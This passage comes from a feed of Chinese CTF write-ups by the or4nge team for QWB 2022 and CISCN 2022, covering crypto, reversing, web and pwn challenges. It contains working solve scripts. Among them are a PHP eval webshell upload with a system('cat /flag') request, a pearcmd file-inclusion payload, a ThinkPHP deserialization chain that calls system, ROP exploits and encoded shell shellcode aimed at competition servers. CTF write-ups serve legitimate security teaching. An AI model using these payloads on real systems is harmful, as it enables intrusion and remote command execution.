n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371 e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865 e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881 res = listFraction(n11, n12) for i in res: if n12 % i[0] == 0 and n11 % i[1] == 0 and i != (1,1): q1 = i[1] q2 = i[0] p1 = int(gmpy2.iroot(n11 // q1, 2)[0]) p2 = int(gmpy2.iroot(n12 // q2, 2)[0]) print(p1,p2) c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579 c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665 phi11 = (p1) * (p1-1) * (q1-1) phi12 = (p2) * (p2-1) * (q2-1) d11 = gmpy2.invert(e11,phi11) d12 = gmpy2.invert(e12,phi12) m1 = pow(c11,d11,n11) m2 = pow(c12,d12,n12) print(m1) print(m2) n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209 x = 3549384841973213309621072870106254602253656209014197632823411827739864720839737811030401306800875843661955913236834617545674409639259372934721570288281471569069146201536309734296340629562207991295283896 g = gcd(m1*m2*x-(m2-m1),n2) p2 = int(gmpy2.iroot(g,6)[0]) q2 = n2 // (p2 ** 7) e2 = 0x10001 phi2 = (p2 ** 6) * (p2 - 1) * (q2 - 1) d2 = gmpy2.invert(e2,phi2) c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653 b = pow(c2,d2,n2) print(b) n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821 e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145 x3 = 16731588253866128571163910758846497670928988943944436618514118121761227689113110943465936457030051710610254169629932203082368465978112219532158626669990117160986135699541953274434781877420432743573801621 g3 = gcd(e3*x3-b,n3) p3 = int(gmpy2.iroot(g3,6)[0]) q3 = n3 // (p3 ** 7) phi3 = (p3 ** 6) * (p3 - 1) * (q3 - 1) c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763 d3 = gmpy2.invert(e3,phi3) m3 = pow(c3,d3,n3) print(n2s(int(m3))) 强网先锋 Polydiv 远程交互打 40 关，每次给三个多项式 a(x), r(x), c(x)，需要求一个 b(x) 满足模2多项式环上 a(x)b(x)+c(x)==r(x)。给出的多项式都满足可以整除，做一个模2环上的多项式除法就行。\n最后需要调整格式，高位在左低位在右。\nfrom hashlib import sha256 from pwn import * from re import findall from math import log,floor def GF2_sub(n1, n2): return n1 ^ n2 def GF2_div(n1, n2): if n2 == 1: return n1 else: len1 = len(bin(n1)) len2 = len(bin(n2)) lensub = len1 - len2 + 1 if lensub \u0026lt; 1: return hex(0) elif lensub == 1: return hex(1) elif lensub \u0026gt; 1: div = 0 while len1 \u0026gt;= len2: n1 ^= (n2 \u0026lt;\u0026lt; (len1 - len2)) div ^= (1 \u0026lt;\u0026lt; (len1-len2)) len1 = len(bin(n1)) return div p = remote(\u0026#39;182.92.161.17\u0026#39;, 31466) s = p.recv() kk = str(s)[14:30] tt = str(s)[35:-3] print(kk) print(tt) alphabet = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\u0026#34; for i in alphabet: for j in alphabet: for k in alphabet: for l in alphabet: if sha256((i+j+k+l+kk).encode()).hexdigest() == tt: p.sendline((i+j+k+l).encode()) for i in range(40): s = p.recv() poly = str(s).split(\u0026#34;\\\\n\u0026#34;) rr = [] aa = [] cc = [] print(poly) print(len(poly)) ps = poly[0] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: rr.append(1) break ps = poly[1] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: aa.append(1) break ps = poly[2] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: cc.append(1) break r = findall(r\u0026#34;\\d+\u0026#34;,poly[0]) a = findall(r\u0026#34;\\d+\u0026#34;,poly[1]) c = findall(r\u0026#34;\\d+\u0026#34;,poly[2]) r = [int(i) for i in r] a = [int(i) for i in a] c = [int(i) for i in c] if 1 in r: rr.append(0) if 1 in a: aa.append(0) if 1 in c: cc.append(0) for i in r: if i != 1: rr.append(i) for i in a: if i != 1: aa.append(i) for i in c: if i != 1: cc.append(i) print(rr,aa,cc) rp = 0 ap = 0 cp = 0 for i in rr: rp += 2 ** i for i in aa: ap += 2 ** i for i in cc: cp += 2 ** i print(rp,ap,cp) bp = GF2_div(GF2_sub(rp,cp),ap) print(bp) sends = \u0026#34;\u0026#34; strb = bin(bp)[2:] for i in range(len(strb)): if strb[i] == \u0026#39;1\u0026#39;: if i == len(strb)-1: sends += \u0026#34;1\u0026#34; elif i == len(strb)-2: sends += \u0026#34;x\u0026#34; else: sends += \u0026#34;x^{}\u0026#34;.format(len(strb)-i-1) sends += \u0026#34; + \u0026#34; sends = sends[:-3] print(sends) p.sendline(sends.encode()) print(p.recv()) p.sendline(sends.encode()) print(p.recv()) ASR yafu 一直缺少组件，factordb 赏饭吃，给出一个分解，调整 yafu 参数后，分出剩余三个质数。\n设 p**2=N\n用 AMM 得出模 p 的解，发现 m 过长，再代入 m=mp+k*p 解出模N的解，得到答案。\nimport random import time def AMM(o, r, q): start = time.time() print(\u0026#39;\\n----------------------------------------------------------------------------------\u0026#39;) print(\u0026#39;Start to run Adleman-Manders-Miller Root Extraction Method\u0026#39;) print(\u0026#39;Try to find one {:#x}th root of {} modulo {}\u0026#39;.format(r, o, q)) g = GF(q) o = g(o) p = g(random.randint(1, q)) while p ^ ((q-1) // r) == 1: p = g(random.randint(1, q)) print(\u0026#39;[+] Find p:{}\u0026#39;.format(p)) t = 0 s = q - 1 while s % r == 0: t += 1 s = s // r print(\u0026#39;[+] Find s:{}, t:{}\u0026#39;.format(s, t)) k = 1 while (k * s + 1) % r != 0: k += 1 alp = (k * s + 1) // r print(\u0026#39;[+] Find alp:{}\u0026#39;.format(alp)) a = p ^ (r**(t-1) * s) b = o ^ (r*alp - 1) c = p ^ s h = 1 for i in range(1, t): d = b ^ (r^(t-1-i)) if d == 1: j = 0 else: print(\u0026#39;[+] Calculating DLP...\u0026#39;) j = - discrete_log(a, d) print(\u0026#39;[+] Finish DLP...\u0026#39;) b = b * (c^r)^j h = h * c^j c = c ^ r result = o^alp * h end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) print(\u0026#39;Find one solution: {}\u0026#39;.format(result)) return result def findAllPRoot(p, e): print(\u0026#34;Start to find all the Primitive {:#x}th root of 1 modulo {}.\u0026#34;.format(e, p)) start = time.time() proot = set() while len(proot) \u0026lt; e: proot.add(pow(random.randint(2, p-1), (p-1)//e, p)) end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) return proot def findAllSolutions(mp, proot, cp, p): print(\u0026#34;Start to find all the {:#x}th root of {} modulo {}.\u0026#34;.format(e, cp, p)) start = time.time() all_mp = set() for root in proot: mp2 = mp * root % p assert(pow(mp2, e, p) == cp) all_mp.add(mp2) end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) return all_mp e=3 p0 = 260594583349478633632570848336184053653 p1 = 223213222467584072959434495118689164399 p2 = 225933944608558304529179430753170813347 p3 = 218566259296037866647273372633238739089 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 c0=c%p0 c1=c%p1 c2=c%p2 c3=c%p3 pl = [] ql = [] m2 = int(AMM(c2, e, p2)) m3 = int(AMM(c3, e, p3)) proot2=findAllPRoot(p2,e) proot3=findAllPRoot(p3,e) pl = findAllSolutions(m2, proot2, c2, p2) ql = findAllSolutions(m3, proot3, c3, p3) print(pl) print(ql) pl=list(pl) ql=list(ql) d0=173729722232985755755047232224122702435 d1=148808814978389381972956330079126109599 m0=int(pow(c0,d0,p0)) m1=int(pow(c1,d1,p1)) for i in range(e): for j in range(e): m = crt([int(pl[i]), int(ql[j]),m0,m1], [p2, p3,p0,p1]) print(m) from libnum import n2s import gmpy2 p0 = 260594583349478633632570848336184053653 p1 = 223213222467584072959434495118689164399 p2 = 225933944608558304529179430753170813347 p3 = 218566259296037866647273372633238739089 n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001 e = 3 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 print((p0 * p1 * p2 * p3) ** 2 == n) phi = p0 * (p0 - 1) * (p1 - 1) * p1 * (p2 - 1) * p2 * p3 * (p3 - 1) pr = (p0 * p1 * p2 * p3) print((p3 - 1) % 27) fl = [ 1529007847379796407634756887525822026696243818376722108701969132742428428165312563623502055174162111318912346740690335148179223775392999980945766987459837, 1475292321022733362914538619161388693005464952363739416469049560011153697847764341022230542196966303658527328460810763143999529259177792246387209275640333, 1306173663174680354544083835098873046665147955161485267105809626183470299213147062484361435517127425037465762176491160436617371316470553010760895171531168, 153759683776433243399305434624208622981670871584305881184763149503345166185487917443890373624829793380160217617791063750644305153019838041206592966473567, 100044157419370198679087166259775289290892005571323188951843576772070435867939694842618860647633985719775199337911491746464610636804630306648035254654063, 2803358489265171472227210840490862843537881207776943757296126230937523911331160681955579712312498104881693839057868862438866912819678753688485739816184899, 222834185454100348265422735477774595442565074276484202923325623851990342933869396693076942784741899922511481742674099962888282201740191862829636553138531, 169118659097037303545204467113341261751786208263501510690406051120715612616321174091805429807546092262126463462794527958708587685524984128271078841319027, 1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862] for i in fl: le = (c - i ** 3) % n le = le * gmpy2.invert(3 * (i ** 2), n) x = le // pr i = i + x * pr print(pow(i, e, n) == c) print(n2s(int(i))) rcefile 存在 spl_autoload 函数，上传文件 test.inc：\n\u0026lt;?php eval($_GET[\u0026#39;cmd\u0026#39;]); 记下返回的文件名 d6e2555175cf7f64910cbfce15842643.inc 后自动包含\nGET /showfile.php?cmd=system(\u0026#39;cat+/flag\u0026#39;)%3b HTTP/1.1 Host: eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com/ Cookie: O%3a32%3a\u0026#34;D6e2555175cf7f64910cbfce15842643\u0026#34;%3a0%3a{} Upgrade-Insecure-Requests: 1 ","date":"2022-08-02T19:00:00+08:00","permalink":"https://or4ngesec.github.io/post/qwb2022-writeup-by-or4nge/","title":"qwb2022 Writeup by or4nge"},{"content":"Web include p牛的PHP裸文件本地包含\n/index.php?+config-create+/\u0026amp;file=../../../../usr/local/lib/php/pearcmd\u0026amp;/\u0026lt;? eval($_POST[1]);?\u0026gt;+/tmp/hello.php Pwn very_old_school 神奇的gadget，老题，改read的got为write泄露地址，最后onegadget即可。\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./very_old_school\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.27.so\u0026#34;) else: p = remote(\u0026#34;39.104.61.18\u0026#34;, 5656) libc = ELF(\u0026#39;./libc-2.27.so\u0026#39;) elf = ELF(\u0026#39;./very_old_school\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) pop_all = 0x4005da payload = b\u0026#34;a\u0026#34; * 0x40 payload += p64(0xaaaaaaaa) payload += p64(pop_all) diff = libc.sym[\u0026#39;write\u0026#39;] - libc.sym[\u0026#39;read\u0026#39;] # gdb.attach(p) # sleep(1) print(diff \u0026amp; 0xffffffffffffffff) payload += p64(diff \u0026amp; 0xffffffffffffffff) payload += p64(0x601020 + 0x3d) payload += b\u0026#34;\\x00\u0026#34; * 8 * 4 payload += p64(0x0000000000400518) payload += p64(0x00000000004005e3) payload += p64(1) payload += p64(0x00000000004005e1) payload += p64(elf.got[\u0026#39;read\u0026#39;]) payload += p64(0) payload += p64(elf.plt[\u0026#39;read\u0026#39;]) payload += p64(pop_all) payload += p64((-diff) \u0026amp; 0xffffffffffffffff) payload += p64(0x0601020 + 0x3d) payload += b\u0026#34;\\x00\u0026#34; * 8 * 4 payload += p64(0x0000000000400518) payload += p64(0x400450) print(hex(len(payload))) sn(payload) write = u64(p.recv(6) + b\u0026#39;\\x00\u0026#39; + b\u0026#39;\\x00\u0026#39;) libc_addr = write - libc.sym[\u0026#39;write\u0026#39;] log.info(hex(libc_addr)) payload = b\u0026#34;A\u0026#34; * 0x40 payload += p64(0xaaaaaaaa) payload += p64(libc_addr + 0x10a41c) sn(payload) p.interactive() Rev jsuck js混淆\n先对flag进行base64编码\n然后asdlg()函数将字符串转为数组\niKdga()函数对每一位异或3\nwrwg()函数将数组转回字符串\n最后与已知字符串进行比较\n求解脚本：\nimport base64 a = b\u0026#34;Yn{kY0wjNGJ1NyJ3ZyZ6NGQjNnF6Z1J3Zid7YGYhMiEiLGEhN[3\u0026gt;\u0026#34; flag = \u0026#39;\u0026#39; for i in a: flag += chr(i ^ 3) print (base64.b64decode(flag)) # b\u0026#39;flag{b026324c6904b2a9cb4b88d6d61c81d1}\u0026#39; rtMaze qemu，使用gdb调试，确认基地址为0x60010000，设置后ida可反编译\n根据字符串找到核心逻辑在0x600117b0，传入的参数为此前迷宫中的输入内容\n由于对其填充到了48个字符，猜测该迷宫需要反向跑：\ndddwwawwwwaasdsasawawdwaaasawassssdwdsddssasddw 加密部分如下\nXTEA算法\n将迷宫输入分为12个int，每次循环选取4个int作为key，进行XTEA加密\n解密脚本：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); sum -= delta; v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[10]={ 0x9C51DE69, 0xD8C793BF, 0x6346ACA4, 0xF8D452EA, 0xA54B10D5, 0x2F8D8FC6, 0xC702BB4D, 0x4725858D, 0x2B0AA099, 0x1601D0A6, }; uint32_t const k[12]={ 0x77646464, 0x77776177, 0x61617777, 0x61736473, 0x61776173, 0x61776477, 0x61736161, 0x73736177, 0x77647373, 0x64647364, 0x73617373, 0x61776464 }; unsigned int r=32; printf(\u0026#34;加密后的数据：%u %u\\n\u0026#34;,v[0],v[1]); decipher(r, v, k); decipher(r, v + 2, k + 4); decipher(r, v + 4, k + 8); decipher(r, v + 6, k); decipher(r, v + 8, k + 4); for (int i = 0; i \u0026lt; 40; i++) printf(\u0026#34;%c\u0026#34;, *(((char*)v) + i)); printf(\u0026#34;\\n\u0026#34;); return 0; } // d8550a7b7-d0a0d-4f37-b4abc0-0cf93eb3dfd4 Crypto Diophantine 判断是对的，把9除下去解佩尔方程，写for循环提交即可\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#34;39.104.61.18\u0026#34;, 26726) import hashlib s = \u0026#39;\u0026#39; dic = \u0026#39;0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\u0026#39; p.recvuntil(\u0026#34;(str + \u0026#34;) md = p.recvuntil(\u0026#34;)\u0026#34;)[:-1].decode() print(md) p.recvuntil(\u0026#34; == \u0026#34;) ans = p.recvuntil(\u0026#34;\\n\u0026#34;)[:-1].decode() print(ans) def mdd(): for a in dic: for b in dic: for c in dic: for d in dic: t = str(a)+str(b)+str(c)+str(d)+md md5 = hashlib.md5(t.encode()).hexdigest() # print(md5[:6]) if md5[0:5] == ans: d =str(a)+str(b)+str(c)+str(d) p.sendline(d.encode()) return mdd() p.sendline(b\u0026#34;y\u0026#34;) p.sendline(b\u0026#34;y\u0026#34;) f = open(\u0026#34;./ans.txt\u0026#34;, \u0026#34;r\u0026#34;) for l in f.read().split(\u0026#39;\\n\u0026#39;): x,y=l.split(\u0026#39; \u0026#39;) p.sendlineafter(\u0026#34;x=\u0026#34;,x) p.sendlineafter(\u0026#34;y=\u0026#34;,y) p.recvuntil(\u0026#34;wer\u0026#34;) p.interactive() EasyRsa 根据题目信息得到h，由 $\\frac h {2g}=rs+\\frac{r}{2g}+\\frac{s}{2g}$，后两者较小，可以通过爆破得出 r+s 和 r-s，从而得出 s 和 r，进而可以得出 $\\phi(n)$，解密得到 flag\nfrom gmpy2 import iroot from Crypto.Util.number import long_to_bytes, inverse def get_rs(cur_rs, h, g): rs = h - 2 * g * cur_rs if rs \u0026lt; 0: return False if rs ** 2 - 4 * cur_rs \u0026lt; 0: return False delta = iroot(rs ** 2 - 4 * cur_rs, 2) if not delta[1]: return False r = (rs - delta[0]) // 2 s = (rs + delta[0]) // 2 return r, s n=22674165844905158260176168026816552467096072570578600242128271855414019546269941158980926383539152088163386486594970550426095813309390851670596901239161501799287825141484239319817091651407345474982377372054888770936964124342265857312847156030175512996932047024846256128852364411361104881876499527373499676800838224118813206681739936743754500898092792230659202349749012386805859665056024946969736506105283735257152266921793786908302315016683954542458869766736987653476629282074870135677126618336504349609949843015699079901471850834309549434049741620451308935825225861067965105407242194092434593658617061001051261986003 e=65537 c=782836877747818842493334376192707959633875414421119864133181592744303451005021100252453573692816054585303366274224087420041284882899698447861322919543336259986718739329810516986508263800638169206422642491731816114864183191451497206767082965587155423396589137912838842875035557343464065904849661324493244122164082422461425238044593940586748674516957395798642524010290664115814930907318276984939283752745962807878377719292647500596944596051296807946807250542510019416661571456929182119445830050306376509177311647871578247060341177622456756501597305853248802782554576320613573685540342421823987333619169191892620415521 g=1834423494494916216123441416584222421978972309717825906841264503350314600090174106582891343187567071177004232569276768024920547950940295765307910633287 h = (n - 1) // (2 * g) cur_rs = h // (2 * g) while 1: cur = get_rs(cur_rs, h, g) if cur: r, s = cur rs = cur_rs break cur_rs -= 1 phi = 4 * g ** 2 * rs d = inverse(e, phi) print(long_to_bytes(pow(c, d, n))) Misc the Kenoru\u0026rsquo;s Arithmetic Classroom Revenge help() 被 ban 了，发现存在类似的命令：breakpoint()\n比赛中没截图，放一个本地的测试\n","date":"2022-06-28T17:17:17+08:00","image":"https://or4ngesec.github.io/post/ciscn-2022-north-writeup-by-or4nge/cover_hu64e9dce0f7c55970c8dfa2838c4ad483_501581_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/ciscn-2022-north-writeup-by-or4nge/","title":"CISCN2022 华北分赛区 Writeup by or4nge"},{"content":"Web ezpop tp6.0.12 的反序列化洞，直接用现成的链的打就行\n\u0026lt;?php namespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = \u0026#39;\u0026#39;){ $this-\u0026gt;lazySave = True; $this-\u0026gt;data = [\u0026#39;key\u0026#39; =\u0026gt; [\u0026#34;cat /flag.txt\u0026#34;]]; $this-\u0026gt;exists = True; $this-\u0026gt;table = $obj; $this-\u0026gt;withAttr = [\u0026#39;key\u0026#39; =\u0026gt; [\u0026#39;system\u0026#39;]]; $this-\u0026gt;json = [\u0026#39;key\u0026#39;,[\u0026#39;key\u0026#39;]]; $this-\u0026gt;jsonAssoc = True; } } } namespace think\\model{ use think\\Model; class Pivot extends Model{ } } namespace{ echo(urlencode(serialize(new think\\model\\Pivot(new think\\model\\Pivot())))); } Pwn login-nomal 可见字符 shellcode，调用 ae64 脚本，rdx 直接打通\nfrom pwn import * from ae64 import AE64 import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./login\u0026#34;) libc = ELF(\u0026#34;./libc-2.33.so\u0026#34;) else: p = remote(\u0026#34;101.201.123.35\u0026#34;, 17186) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./login\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) # debugf(0x0401008) def Login(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:1\\r\\nmsg:%s\\r\\n\u0026#34; %msg) def weak(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:2\\r\\nmsg:%s\\r\\n\u0026#34; %msg) def Logout(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:3\\r\\nmsg:%s\\r\\n\u0026#34; %msg) shellcode = asm(shellcraft.sh()) enc_shellcode = AE64().encode(shellcode, \u0026#39;rdx\u0026#39;, 0, \u0026#39;fast\u0026#39;) # gdb.attach(p, \u0026#34;b *$rebase(0xe54)\u0026#34;) sleep(1) Login(\u0026#34;ro0t\u0026#34;) print(enc_shellcode.decode(\u0026#39;latin-1\u0026#39;)) 